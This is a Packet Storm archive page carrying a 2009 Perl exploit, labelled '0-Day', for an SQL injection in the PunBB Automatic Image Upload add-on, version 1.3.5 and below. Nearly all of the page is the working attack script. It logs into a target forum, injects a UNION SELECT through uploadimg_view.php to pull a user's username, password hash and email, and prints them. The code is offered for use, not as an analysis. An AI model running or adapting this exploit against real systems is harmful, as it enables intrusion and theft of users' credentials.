what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PunBB Automatic Image Upload 1.3.5 SQL Injection

PunBB Automatic Image Upload 1.3.5 SQL Injection
Posted Jul 28, 2009
Authored by Dante90 | Site warwolfz.org

PunBB Automatic Image Upload versions 1.3.5 and below remote SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | 474c2718d85694ec6a12dd3f52570d10a57574a6078df3a716059c0c75160531

PunBB Automatic Image Upload 1.3.5 SQL Injection

Change Mirror Download
#!/usr/bin/perl
#[0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL Injection Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew
#Works only if '$Allow_Stats[] = "[USERGROUP]";' is not commented in
"uploadimg_config.php" [FIND LINE: 75]. Example:
#//$Allow_Stats[] = "Members"; => $Allow_Stats[] = "Members";

use LWP::UserAgent;
use HTTP::Cookies;
use strict;

my ($UserName,$PassWord,$ID) = @ARGV;

if(@ARGV < 3){
&usage();
exit();
}

my $Message = "";
my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site
Link
my $Referrer = "http://www.warwolfz.com/";

my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
agent => 'Mozilla/5.0',
max_redirect => 0,
cookie_jar => $Cookies,
) or die $!;

sub Login(){
my $Login = $UserAgent->post($HostName.'/login.php?action=in',
[
form_sent => '1',
redirect_url => 'index.php',
req_username => $UserName,
req_password => $PassWord,
login => 'Login',
]) || die $!;

if($Login->content =~ /Logged in /i){
return 1;
}else{
return 0;
}
}

sub SQL_Injection{
my ($User_ID) = @_;
return "./uploadimg_view.php?view=gallery&id=-1 UNION SELECT
1,CONCAT_WS(CHAR(32,58,32),id,username,password,email) FROM users WHERE
id=${User_ID}";
}

if (Login() == 1){
$Message = " * Logged in as: " . $UserName;
}elsif (Login() == 0){
$Message = " * Login Failed.";
}

my $Get = $UserAgent->get($HostName.SQL_Injection($ID));

if($Get->content =~ /([0-9]{1,10}) : ([a-zA-Z0-9-_.]{2,200}) :
([a-f0-9]{1,40}) : ([a-zA-Z0-9.@]{1,50})/i){
refresh($Message, $HostName, $1, $2, $3, $4);
print " * Exploit Successed *\n";
print " ------------------------------------------------------\n\n";
system("pause");
}else{
refresh($Message, $HostName, "", "", "", "");
print " * Error extracting sensible data.\n";
print " * Exploit Failed *\n";
print " ------------------------------------------------------ \n\n";
}


sub usage{
system("cls");
{
print " \n [0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL
Injection Exploit\n";
print " ------------------------------------------------------ \n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";
print " * perl name_exploit.pl [username] [password] [id] *\n";
print " ------------------------------------------------------ \n";
print " * Powered By Dante90, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------ \n";
};
exit;
}

sub refresh{
system("cls");
{
print " \n [0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL
Injection Exploit\n";
print " ------------------------------------------------------ \n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";
print " * perl name_exploit.pl [username] [password] [id] *\n";
print " ------------------------------------------------------ \n";
print " * Powered By Dante90, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------ \n";
};
print $_[0] ."\n";
print " * Victime Site: " . $_[1] . "\n";
print " * User ID: " . $_[2] . "\n";
print " * Username: " . $_[3] . "\n";
print " * Password: " . $_[4] . "\n";
print " * E-Mail: " . $_[5] . "\n";
}

#WaRWolFz Crew
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close